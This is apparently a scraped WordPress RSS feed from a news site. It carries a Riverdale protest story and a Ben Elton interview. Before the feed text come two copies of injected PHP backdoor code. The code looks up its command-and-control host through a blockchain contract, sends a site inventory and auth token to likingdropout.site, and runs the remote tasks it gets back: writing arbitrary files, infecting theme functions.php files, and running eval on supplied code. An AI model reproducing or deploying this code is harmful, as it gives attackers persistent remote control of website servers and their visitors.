// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); anymore – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Wed, 03 Jun 2020 02:00:13 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png anymore – Brief News https://briefnews.eu 32 32 Riverdale’s Vanessa Morgan takes a stand for her Black co-stars ‘Not being quiet anymore’ https://briefnews.eu/riverdales-vanessa-morgan-takes-a-stand-for-her-black-co-stars-not-being-quiet-anymore/ https://briefnews.eu/riverdales-vanessa-morgan-takes-a-stand-for-her-black-co-stars-not-being-quiet-anymore/#respond Wed, 03 Jun 2020 02:00:13 +0000 https://briefnews.eu/riverdales-vanessa-morgan-takes-a-stand-for-her-black-co-stars-not-being-quiet-anymore/

Demonstrations across the United States have been taking place after 46-year-old George Floyd was killed after being kneeled on by a police officer for over eight minutes.

Cole Sprouse clarified: “It needs to be stated that as a straight white man, and a public figure, the institutional consequences of my detainment are nothing in comparison to others within the movement.”

Finally, Vanessa Morgan tweeted her support for the ongoing movement: “[…] finally feel like I can speak up for myself and my fellow brothers and sisters & be heard. Usually everyone is fake listening. I really hope a change is coming.”

Series creator Roberto Aguirre-Sacasa has promoted charities for the Black Lives Matter movement on Twitter, but has not addressed Vanessa Morgan’s comments. 

The CW has also been contacted for comment. 

Riverdale is available on Netflix. 

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]]> https://briefnews.eu/riverdales-vanessa-morgan-takes-a-stand-for-her-black-co-stars-not-being-quiet-anymore/feed/ 0 Ben Elton exclusive: ‘It’s a myth you can’t speak freely anymore’ https://briefnews.eu/ben-elton-exclusive-its-a-myth-you-cant-speak-freely-anymore/ https://briefnews.eu/ben-elton-exclusive-its-a-myth-you-cant-speak-freely-anymore/#respond Sat, 01 Feb 2020 14:20:18 +0000 http://briefnews.eu/ben-elton-exclusive-its-a-myth-you-cant-speak-freely-anymore/

Stand-up legend Ben Elton

Stand-up legend Ben Elton (Image: DAVID LEVENE / EYEVINE, BBC)

Although it happens after our meeting, the Stewart-Shakespeare brouhaha seems in keeping with our conversation. 

While concerned at the modern tendency to take offence, the stand-up legend, Shakespeare superfan and Upstart Crow creator strongly believes context is king when it comes to free speech. Unlike many of his generation, Ben, 60, does not think the ability to say what you want has been constrained by what’s now derisively termed “wokeness”. 

He says: “Most stuff that’s ­dismissed as political correctness, I tend to ­support. I think it’s a myth that you can’t say anything anymore. Because you can, you can say anything. 

“Most of the rules are about respecting people. It comes down to good manners. Say whatever you like… but try to say it pleasantly.” 

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Lightning fast, and often correcting himself mid-stream, or mitigating a more controversial point, he is ­tremendously good company 

And he loves to talk, joking self-deprecatingly at one point: “That was a big waffle, wasn’t it?” 

But while Ben remains sanguine about free speech, his own Shakespeare, brought brilliantly to life by David Mitchell in his critically acclaimed BBC sitcom The Upstart Crow and arriving on stage in the West End next week, is only too aware of its dangers. 

Ben, the creator and writer of iconic shows like The Young Ones and Blackadder, concedes: “These days you can lose your job for the wrong phrase. In Shakespeare’s day, if you offended power, the king or a patron, you lost your head!” 

Many of our current problems, he insists, come from the negative, divisive impact of social media on human interaction and political discourse. 

“When we’re all alone on the internet, our humanity deserts us. We are no longer constrained by that which makes us human which is being a social animal. Context is lost on the internet, and context is everything.” 

He strongly dislikes our habit of mistaking social media for the wider world – taking a couple of angry tweets as proof of outrage on behalf of one group or another. 

“Two people have tweeted their outrage and they’re entitled to that opinion, but they do not represent everybody else who has the same trouser content or sexuality,” he says. “It’s extremely worrisome that we tend to see a single tweet or two as a tidal wave of outrage.” 

WEDDING DAY: Ben with his wife Sophie Gare

WEDDING DAY: Ben with his wife Sophie Gare (Image: Daily Mirror)

While he admits his “soul is very much in the camp of political correctness”, he has taken some creative risks by inventing cod Shakespearian terms that are funny and rude without (hopefully) causing offence. 

“My Shakespeare, although confused, middle-class and middle-aged like me, is clearly somebody whose heart is in the right place,” he laughs. 

“The first time I used the term ‘hugger tugger’ I thought, ‘Am I going to get in trouble?’ I invented it as a comically affectionate – but I ­suppose some people could ask, ‘Is that derogatory?’ – term for gay people. 

“But I know many gay people and I’ve been delighted to hear how much fun’s been had with it.” 

Upstart Crow’s other witty linguistic creations include “arsingmongle”, “bumshank”, “tuffting muffles” and the “cod dangle”. 

Ben, whose recent novel Identity Crisis tackled the current obsession with identity politics, adds quickly that he is using them as a “deeply ­liberal man”, before continuing: “But the fact is all people have humour whatever their sexuality, whatever their gender identity, whatever their race. My experience as a stand-up comic is that we share a sense of humour. That’s how you can have a thousand individuals in a theatre all laughing at the same thing.” 

He is proud of having created an original stage show without stealing from his TV sitcom. 

Following his son Hamnet’s death at the end of series three on TV, Shakespeare is now more reflective, suffering a crisis of confidence in his writing and alienated from his two daughters.

Ben Elton

BE POLITE: Ben Elton’s advice on speaking freely (Image: Mirrorpix)

It’s a perfect set-up for a King Lear take-off and its author has pulled together a deeply satisfying plot with a nod to Othello, Romeo And Juliet and The Comedy Of Errors among others, containing plenty of belly laughs and wise ­contemporary nods. “I might have pinched from Shakespeare, but what I haven’t done is stolen from myself,” beams Ben. “I’ve had to strike a balance between my commitment to a completely original stage play based on the sitcom and maintaining the love people have for it.” 

The TV series was ­written with David Mitchell, 45, in mind as Shakespeare. Ben continues: “When we started to cast it, I said we needed a young David Mitchell, because Shakespeare was about 30 at the time and David was too old. But we realised, in those days, if you lived to 30 you’d be an old man, so let’s have the real David Mitchell. 

“There is an eternal youth about David, that fabulous open face which masks such a fierce intelligence. I wanted his voice and I got his voice and we became instantly very close friends.” 

The actor, who is carrying the role on to the stage, joked this week that doing Crow in theatre is the same, except he’ll “have to talk louder”. 

Sadly, not all the TV cast appear because of the commercial costs of producing a large stage show. So there is no Harry Enfield as Shakespeare’s dad or Liza Tarbuck as his long-suffering wife Anne. 

“It was heartbreaking and I wrote to them all because we were a family and a great team,” says Ben. “But I needed to bring in new characters, too. If people come to see an Upstart Crow play, they won’t see the sitcom rehashed on stage.” 

He remains hopeful the BBC will pick up a fourth series in due course. 

Despite his many triumphs, the writer hasn’t had it all his own way. A 2013 sitcom, The Wright Way, starring David Haig as a hapless health and safety expert, was panned by critics and lasted a mere series.

THE YOUNG ONES CAST: Ade Edmondson, Nigel Planer, Christopher Ryan and Rik Mayal

THE YOUNG ONES CAST: Ade Edmondson, Nigel Planer, Christopher Ryan and Rik Mayal (Image: PA)

“David was utterly brilliant. We thought we had a hit. It was ­massively derided and I still love it but it was a flop, it just didn’t work,” says Ben. 

“It’s thrown at you, ‘Oh you were trying to be funny.’ Well first, ‘Yeah, of course I’m trying to be funny, that’s what I do.’ But also, if anyone has ever liked anything, it’s because I wrote what I wanted to write. 

“Blackadder, Young Ones, Thin Blue Line, Upstart Crow, none of them was designed for an audience, they were designed to best express the comic ambitions of the ­creatives making them.” 

His 77-date stand-up tour last year, his first in 15 years, was described by one critic as a “TED talk with gags”, in a nod to his fiercely intelligent one-man ­debating chamber approach. 

Ben admits: “I did it with great trepidation. When I started, I didn’t know after so long whether I would be any good, or would have anything to say in these confusing times. In fact, I felt more comfortable on stage than ever.” 

Ben has three children and lives between the UK and Australia. His familiar tones have taken on an ever so slight Down Under twang, the result of his 32-year relationship with his Australian wife Sophie. 

He is in good shape physically, too, having made the decision in his late 20s to exercise. 

“I like to eat chips, I love Yorkshire puddings, I love to drink. Of course you have to try to keep an eye on it but I certainly exceed by a very great deal of government units,” he laughs.

WHO’S THE BARD BOY? David Mitchell as William Shakespeare in Upstart Crow

WHO’S THE BARD BOY? David Mitchell as William Shakespeare in Upstart Crow (Image: Handout)

“I decided I didn’t want to give any of that up ever so I started to exercise. For the first four or five years, doing 45 minutes every day was painful beyond belief.” 

Despite his Nineties reputation as a gobby, Left-wing comic, he is far more nuanced than that one-dimensional persona might suggest.

“I lived through the Eighties but those were troubles of a more ­civilised nature. Do we believe in trade unionism or not? Margaret Thatcher didn’t, I did,” he says. 

“I respected Thatcher as a politician of immense personal integrity. I disagreed fervently with almost everything she believed in, but I respected the fact she did believe in it, she was honest about it and she pursued it to the point of risking her own popularity. That is no longer the case with politicians.” 

Sitcoms aside, he hasn’t had his own show on the TV since 1998 when The Ben Elton Show attracted some seven million viewers. 

“In 2000 I went back and said any chance of another new series,” he says. “But fashion changes and I totally accept that. Up until then, every time I wanted to be on the TV, I could be. They said, ‘Er, no we don’t really feel…’ OK, I’ll write novels then, and I haven’t been able to get back since. 

“The fact that I’m clearly not as famous as I was doesn’t bother me. There was a time when fame was real, there were only three channels and literally everybody in Britain knew who I was. My kids worship people who could sell out Wembley Stadium who I’ve never heard of.” 

He might take heart from the fact his hero Shakespeare is still relevant – and argued over – some 400 years after his death. 

Great writing endures.

• The Upstart Crow plays at the Gielgud Theatre, London, from Friday until April 25. For tickets, visit UpstartCrowTheComedy.com

